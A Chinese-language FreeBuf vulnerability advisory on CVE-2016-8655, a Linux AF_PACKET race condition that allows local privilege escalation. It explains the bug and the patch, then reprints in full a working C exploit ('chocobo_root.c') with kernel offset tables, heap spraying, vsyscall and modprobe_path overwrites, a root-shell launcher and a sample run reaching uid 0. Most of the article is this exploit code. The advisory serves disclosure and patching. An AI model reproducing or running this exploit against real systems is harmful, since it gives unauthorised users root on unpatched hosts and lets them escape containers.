freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)
    2016-12-07 13:19:47

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

    Seclists.org最新披露了Linux的竞争条件漏洞,漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。

    漏洞编号

    CVE-2016-8655

    漏洞概述

    F173C354-A8A9-4C85-823B-2621CCB8269A.png

    Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞,此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限,就能利用该漏洞致拒绝服务(系统崩溃)或者以管理员权限执行任意代码

    packet_set_ring在创建ring buffer的时候,如果packet版本为TPACKET_V3,则会初始化struct timer_list。在packet_set_ring完成之前,其他线程可调用setsockopt将packet版本设定为TPACKET_V1。此时先前初始化的timer不会被删除,也就形成了套接字关闭时struct timer_list中函数指针的user after free漏洞。

    这个BUG最早出现于2011年4月19号的代码中,详细参考:

    https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

    该BUG已经于2016年11月30号被修复,详细参考:

    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

    漏洞细节

    要创建AF-PACKET套接字,在网络命名空间中就需要CAP_NET_RAW。在低权限命名空间可用的系统中(Ubuntu、Fedora等),这可以通过未授权进程获取。这个漏洞在容器中即可触发,最终攻陷主机内核。在Android系统中,带gid=3004/AID_NET_RAW的进程可创建AF_PACKET套接字,并触发该BUG。

    问题主要出在packet_set_ring()和packet_setsockopt()中。使用PACKET_RX_RING选项在socket中调用setsockopt(),就能搞定packet_set_ring()。

    如果packet套接字版本为TPCKET_V3,调用init_prb_bdqc()的时候,packet_set_ring()就会对timer_list对象进行初始化。

    ...

                    switch (po->tp_version) {

                    case TPACKET_V3:

                    /* Transmit path is not supported. We checked

                     * it above but just being paranoid

                     */

                            if (!tx_ring)

                                    init_prb_bdqc(po, rb, pg_vec, req_u);

                            break;

                    default:

                            break;

                    }

    ...

    创建timer的函数流为:

    packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->

    prb_init_blk_timer()->prb_init_blk_timer()->init_timer()

    该套接字关闭时,packet_set_ring()会再度被调用,来释放ring buffer,并删除先前初始化的timer(当packet版本大于TPACKET_V2时):

    ...

            if (closing && (po->tp_version > TPACKET_V2)) {

                    /* Because we don't support block-based V3 on tx-ring */

                    if (!tx_ring)

                            prb_shutdown_retire_blk_timer(po, rb_queue);

            }

    ...

    此处的问题就出在,在init_prb_bdqc()执行之后,packet_set_ring()返回之前,我们可以将packet版本改为TPACKET_V1。

    不过ring buffer被初始化之后,会存在拒绝修改套接字版本的情况,但这也根本不是什么问题:

    ...

            case PACKET_VERSION:

            {

    ...

                    if (po->rx_ring.pg_vec || po->tx_ring.pg_vec)

                            return -EBUSY;

    ...

    在init_prb_bdqc()和packet_set_ring()的交换(rb->pg_vec, pg_vec)调用之间,还是有足够的空间来搞定这条代码路径。

    此时,套接字关闭时,由于套接字版本已经为TPACKET_V1,packet_set_ring()就不会删除timer。描绘timer对象的struct timer_list位于struct packet_sock中,调用kfree()就会释放。

    随后timer对象之上就形成了use after free漏洞,可被各种针对SLAB分配器的攻击利用。最终timer过期后,就可导致内核跳转至构建的函数指针。

    在packet_setsockopt()中用lock_sock(sk),同时在packet_set_ring()起始就锁定packet版本即可解决问题。

    新版Ubuntu内核已经放出,用户升级至新版Ubuntu即可解决问题。

    漏洞PoC

    按照发现该漏洞的作者Philip Pettersson所说,漏洞PoC会在明天放出...

    PoC地址:https://www.exploit-db.com/exploits/40871/

    /*
    chocobo_root.c
    linux AF_PACKET race condition exploit
    exploit for Ubuntu 16.04 x86_64
    
    vroom vroom
    *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
    user@ubuntu:~$ uname -a
    Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
    user@ubuntu:~$ id
    uid=1000(user) gid=1000(user) groups=1000(user)
    user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
    user@ubuntu:~$ ./chocobo_root
    linux AF_PACKET race condition exploit by rebel
    kernel version: 4.4.0-51-generic #72
    proc_dostring = 0xffffffff81088090
    modprobe_path = 0xffffffff81e48f80
    register_sysctl_table = 0xffffffff812879a0
    set_memory_rw = 0xffffffff8106f320
    exploit starting
    making vsyscall page writable..
    
    new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
    sockets allocated
    removing barrier and spraying..
    version switcher stopping, x = -1 (y = 174222, last val = 2)
    current packet version = 0
    pbd->hdr.bh1.offset_to_first_pkt = 48
    *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
    please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
    closing socket and verifying.......
    vsyscall page altered!
    
    
    stage 1 completed
    registering new sysctl..
    
    new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
    sockets allocated
    removing barrier and spraying..
    version switcher stopping, x = -1 (y = 30773, last val = 0)
    current packet version = 2
    pbd->hdr.bh1.offset_to_first_pkt = 48
    race not won
    
    retrying stage..
    new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
    sockets allocated
    removing barrier and spraying..
    version switcher stopping, x = -1 (y = 133577, last val = 2)
    current packet version = 0
    pbd->hdr.bh1.offset_to_first_pkt = 48
    *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
    please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
    closing socket and verifying.......
    sysctl added!
    
    stage 2 completed
    binary executed by kernel, launching rootshell
    root@ubuntu:~# id
    uid=0(root) gid=0(root) groups=0(root),1000(user)
    
    *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
    
    There are offsets included for older kernels, but they're untested
    so be aware that this exploit will probably crash kernels older than 4.4.
    
    tested on:
    Ubuntu 16.04: 4.4.0-51-generic
    Ubuntu 16.04: 4.4.0-47-generic
    Ubuntu 16.04: 4.4.0-36-generic
    Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
    
    Shoutouts to:
    jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
    mcdelivery for delivering hotcakes and coffee
    
    11/2016
    by rebel
    */
    
    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <sys/wait.h>
    #include <assert.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <poll.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netinet/if_ether.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <sys/stat.h>
    #include <linux/if_packet.h>
    #include <pthread.h>
    #include <linux/sched.h>
    #include <netinet/tcp.h>
    #include <sys/syscall.h>
    #include <signal.h>
    #include <sched.h>
    #include <sys/utsname.h>
    
    volatile int barrier = 1;
    volatile int vers_switcher_done = 0;
    
    struct offset {
        char *kernel_version;
        unsigned long proc_dostring;
        unsigned long modprobe_path;
        unsigned long register_sysctl_table;
        unsigned long set_memory_rw;
    };
    
    
    struct offset *off = NULL;
    
    //99% of these offsets haven't actually been tested :)
    
    struct offset offsets[] = {
        {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},
        {"4.4.0-47-generic #68~14.04.1",0,0,0,0},
        {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},
        {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},
        {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},
        {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},
        {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},
        {"4.2.0-17-generic #21",0,0,0,0},
        {"4.2.0-18-generic #22",0,0,0,0},
        {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},
        {"4.2.0-21-generic #25~14.04.1",0,0,0,0},
        {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},
        {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},
        {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},
        {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},
        {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},
        {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},
        {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},
        {"4.2.0-23-generic #28",0,0,0,0},
        {"4.2.0-25-generic #30",0,0,0,0},
        {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},
        {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},
        {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},
        {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},
        {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},
        {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},
        {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},
        {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},
        {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},
        {"4.2.0-25-generic #30~14.04.1",0,0,0,0},
        {"4.2.0-23-generic #28~14.04.1",0,0,0,0},
        {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},
        {"4.4.0-47-generic #68",0,0,0,0},
        {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},
        {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},
        {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},
        {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},
        {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},
        {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},
        {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},
        {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},
        {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},
        {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},
        {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},
        {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},
        {"4.8.0-26-generic #28",0,0,0,0},
        {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},
        {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},
        {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},
        {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},
        {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},
        {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},
        {"4.2.0-19-generic #23",0,0,0,0},
        {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},
        {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},
        {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},
        {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},
        {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},
        {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},
        {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},
        {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},
        {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},
        {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320},
    //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},
        {NULL,0,0,0,0}
    };
    
    #define VSYSCALL 0xffffffffff600000
    
    #define PAD 64
    
    int pad_fds[PAD];
    
    struct ctl_table {
        const char *procname;
        void *data;
        int maxlen;
        unsigned short mode;
        struct ctl_table *child;
        void *proc_handler;
        void *poll;
        void *extra1;
        void *extra2;
    };
    
    #define CONF_RING_FRAMES 1
    
    struct tpacket_req3 tp;
    int sfd;
    int mapped = 0;
    
    struct timer_list {
        void *next;
        void *prev;
        unsigned long           expires;
        void                    (*function)(unsigned long);
        unsigned long           data;
        unsigned int                     flags;
        int                     slack;
    };
    
    void *setsockopt_thread(void *arg)
    {
        while(barrier) {
        }
        setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
    
        return NULL;
    }
    
    void *vers_switcher(void *arg)
    {
        int val,x,y;
    
        while(barrier) {}
    
        while(1) {
            val = TPACKET_V1;
            x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
    
            y++;
    
            if(x != 0) break;
    
            val = TPACKET_V3;
            x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
    
            if(x != 0) break;
    
            y++;
        }
    
        fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
        vers_switcher_done = 1;
    
    
        return NULL;
    }
    
    #define BUFSIZE 1408
    char exploitbuf[BUFSIZE];
    
    void kmalloc(void)
    {
        while(1)
            syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
    }
    
    
    void pad_kmalloc(void)
    {
        int x;
    
        for(x=0; x<PAD; x++)
            if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {
                fprintf(stderr,"pad_kmalloc() socket error\n");
                exit(1);
            }
    
    }
    
    int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
    {
        pthread_t setsockopt_thread_thread,a;
        int val;
        socklen_t l;
        struct timer_list *timer;
        int fd;
        struct tpacket_block_desc *pbd;
        int off;
        sigset_t set;
    
        sigemptyset(&set);
    
        sigaddset(&set, SIGSEGV);
    
        if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
            fprintf(stderr,"couldn't set sigmask\n");
            exit(1);
        }
    
        fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg);
    
        pad_kmalloc();
    
        fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));
    
        if (fd==-1) {
            printf("target socket error\n");
            exit(1);
        }
    
        pad_kmalloc();
    
        fprintf(stderr,"sockets allocated\n");
    
        val = TPACKET_V3;
    
        setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
    
        tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
        tp.tp_block_nr = 1;
        tp.tp_frame_size = getpagesize();
        tp.tp_frame_nr = CONF_RING_FRAMES;
    
    //try to set the timeout to 10 seconds
    //the default timeout might still be used though depending on when the race was won
        tp.tp_retire_blk_tov = 10000;
    
        sfd = fd;
    
        if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
            fprintf(stderr, "Error creating thread\n");
            return 1;
        }
    
    
        pthread_create(&a, NULL, vers_switcher, (void *)NULL);
    
        usleep(200000);
    
        fprintf(stderr,"removing barrier and spraying..\n");
    
        memset(exploitbuf,'\x00',BUFSIZE);
    
        timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
        timer->next = 0;
        timer->prev = 0;
    
        timer->expires = 4294943360;
        timer->function = (void *)func;
        timer->data = arg;
        timer->flags = 1;
        timer->slack = -1;
    
    
        barrier = 0;
    
        usleep(100000);
    
        while(!vers_switcher_done)usleep(100000);
    
        l = sizeof(val);
        getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
    
        fprintf(stderr,"current packet version = %d\n",val);
    
        pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
    
    
        if(pbd == MAP_FAILED) {
            fprintf(stderr,"could not map pbd\n");
            exit(1);
        }
    
        else {
            off = pbd->hdr.bh1.offset_to_first_pkt;
            fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off);
        }
    
    
        if(val == TPACKET_V1 && off != 0) {
            fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
        }
    
        else {
            fprintf(stderr,"race not won\n");
            exit(2);
        }
    
        munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
    
        pthread_create(&a, NULL, verification_func, (void *)NULL);
    
        fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n");
        sleep(1);
        fprintf(stderr,"closing socket and verifying..");
    
        close(sfd);
    
        kmalloc();
    
        fprintf(stderr,"all messages sent\n");
    
        sleep(31337);
        exit(1);
    }
    
    
    int verification_result = 0;
    
    void catch_sigsegv(int sig)
    {
        verification_result = 0;
        pthread_exit((void *)1);
    }
    
    
    void *modify_vsyscall(void *arg)
    {
        unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
        unsigned long x = (unsigned long)arg;
    
        sigset_t set;
        sigemptyset(&set);
        sigaddset(&set, SIGSEGV);
    
        if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
            fprintf(stderr,"couldn't set sigmask\n");
            exit(1);
        }
    
        signal(SIGSEGV, catch_sigsegv);
    
        *vsyscall = 0xdeadbeef+x;
    
        if(*vsyscall == 0xdeadbeef+x) {
            fprintf(stderr,"\nvsyscall page altered!\n");
            verification_result = 1;
            pthread_exit(0);
        }
    
        return NULL;
    }
    
    void verify_stage1(void)
    {
        int x;
        pthread_t v_thread;
    
        sleep(5);
    
        for(x=0; x<300; x++) {
    
            pthread_create(&v_thread, NULL, modify_vsyscall, 0);
    
            pthread_join(v_thread, NULL);
    
            if(verification_result == 1) {
                exit(0);
            }
    
            write(2,".",1);
            sleep(1);
        }
    
        printf("could not modify vsyscall\n");
    
        exit(1);
    }
    
    void verify_stage2(void)
    {
        int x;
        struct stat b;
    
        sleep(5);
    
        for(x=0; x<300; x++) {
    
            if(stat("/proc/sys/hack",&b) == 0) {
                fprintf(stderr,"\nsysctl added!\n");
                exit(0);
            }
    
            write(2,".",1);
            sleep(1);
        }
    
        printf("could not add sysctl\n");
        exit(1);
    
    
    }
    
    void exploit(unsigned long func, unsigned long arg, void *verification_func)
    {
        int status;
        int pid;
    
    retry:
    
        pid = fork();
    
        if(pid == 0) {
            try_exploit(func, arg, verification_func);
            exit(1);
        }
    
        wait(&status);
    
        printf("\n");
    
        if(WEXITSTATUS(status) == 2) {
            printf("retrying stage..\n");
            kill(pid, 9);
            sleep(2);
            goto retry;
        }
    
        else if(WEXITSTATUS(status) != 0) {
            printf("something bad happened, aborting exploit attempt\n");
            exit(-1);
        }
    
    
    
        kill(pid, 9);
    }
    
    
    void wrapper(void)
    {
        struct ctl_table *c;
    
        fprintf(stderr,"exploit starting\n");
        printf("making vsyscall page writable..\n\n");
    
        exploit(off->set_memory_rw, VSYSCALL, verify_stage1);
    
        printf("\nstage 1 completed\n");
    
        sleep(5);
    
        printf("registering new sysctl..\n\n");
    
        c = (struct ctl_table *)(VSYSCALL+0x850);
    
        memset((char *)(VSYSCALL+0x850), '\x00', 1952);
    
        strcpy((char *)(VSYSCALL+0xf00),"hack");
        memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
        c->procname = (char *)(VSYSCALL+0xf00);
        c->mode = 0666;
        c->proc_handler = (void *)(off->proc_dostring);
        c->data = (void *)(off->modprobe_path);
        c->maxlen=256;
        c->extra1 = (void *)(VSYSCALL+0xe00);
        c->extra2 = (void *)(VSYSCALL+0xd00);
    
        exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);
    
        printf("stage 2 completed\n");
    }
    
    void launch_rootshell(void)
    {
        int fd;
        char buf[256];
        struct stat s;
    
    
        fd = open("/proc/sys/hack",O_WRONLY);
    
        if(fd == -1) {
            fprintf(stderr,"could not open /proc/sys/hack\n");
            exit(-1);
        }
    
        memset(buf,'\x00', 256);
    
        readlink("/proc/self/exe",(char *)&buf,256);
    
        write(fd,buf,strlen(buf)+1);
    
        socket(AF_INET,SOCK_STREAM,132);
    
        if(stat(buf,&s) == 0 && s.st_uid == 0) {
            printf("binary executed by kernel, launching rootshell\n");
            lseek(fd, 0, SEEK_SET);
            write(fd,"/sbin/modprobe",15);
            close(fd);
            execl(buf,buf,NULL);
        }
    
        else
            printf("could not create rootshell\n");
    
    
    }
    
    int main(int argc, char **argv)
    {
        int status, pid;
        struct utsname u;
        int i, crash = 0;
        char buf[512], *f;
    
    
        if(argc == 2 && !strcmp(argv[1],"crash")) {
            crash = 1;
        }
    
    
        if(getuid() == 0 && geteuid() == 0 && !crash) {
            chown("/proc/self/exe",0,0);
            chmod("/proc/self/exe",06755);
            exit(-1);
        }
    
        else if(getuid() != 0 && geteuid() == 0 && !crash) {
            setresuid(0,0,0);
            setresgid(0,0,0);
            execl("/bin/bash","bash","-p",NULL);
            exit(0);
        }
    
        fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");
    
        uname(&u);
    
        if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';
    
        snprintf(buf,512,"%s %s",u.release,u.version);
    
        printf("kernel version: %s\n",buf);
    
    
        for(i=0; offsets[i].kernel_version != NULL; i++) {
            if(!strcmp(offsets[i].kernel_version,buf)) {
    
                while(offsets[i].proc_dostring == 0)
                    i--;
    
                off = &offsets[i];
                break;
            }
        }
    
        if(crash) {
            off = &offsets[0];
            off->set_memory_rw = 0xffffffff41414141;
        }
    
        if(off) {
            printf("proc_dostring = %p\n",(void *)off->proc_dostring);
            printf("modprobe_path = %p\n",(void *)off->modprobe_path);
            printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
            printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
        }
    
        if(!off) {
            fprintf(stderr,"i have no offsets for this kernel version..\n");
            exit(-1);
        }
    
        pid = fork();
    
        if(pid == 0) {
            if(unshare(CLONE_NEWUSER) != 0)
                fprintf(stderr, "failed to create new user namespace\n");
    
            if(unshare(CLONE_NEWNET) != 0)
                fprintf(stderr, "failed to create new network namespace\n");
    
            wrapper();
            exit(0);
        }
    
        waitpid(pid, &status, 0);
    
        launch_rootshell();
        return 0;
    }

    修复方法

    如上所述,各Linux发行版需要升级至最新版Linux内核。针对Ubuntu 16.04 LTS的安全更新已经发布。另外这篇文章讲解了在不重启服务器的情况下,就对Ubuntu Linux内核打上补丁的方案。

    Screen-Shot-2016-10-19-at-5.06.29-PM.png

    相关链接

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655

    https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

    https://www.ubuntu.com/usn/usn-3151-1/

    * 参考来源:Seclists.org,转载请注明来自FreeBuf.COM

    本文作者:, 转载请注明来自FreeBuf.COM

    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    评论 按时间排序

    登录/注册后在FreeBuf发布内容哦

    相关推荐
    • 0 文章数
    • 0 评论数
    • 0 关注者
    登录 / 注册后在FreeBuf发布内容哦
    收入专辑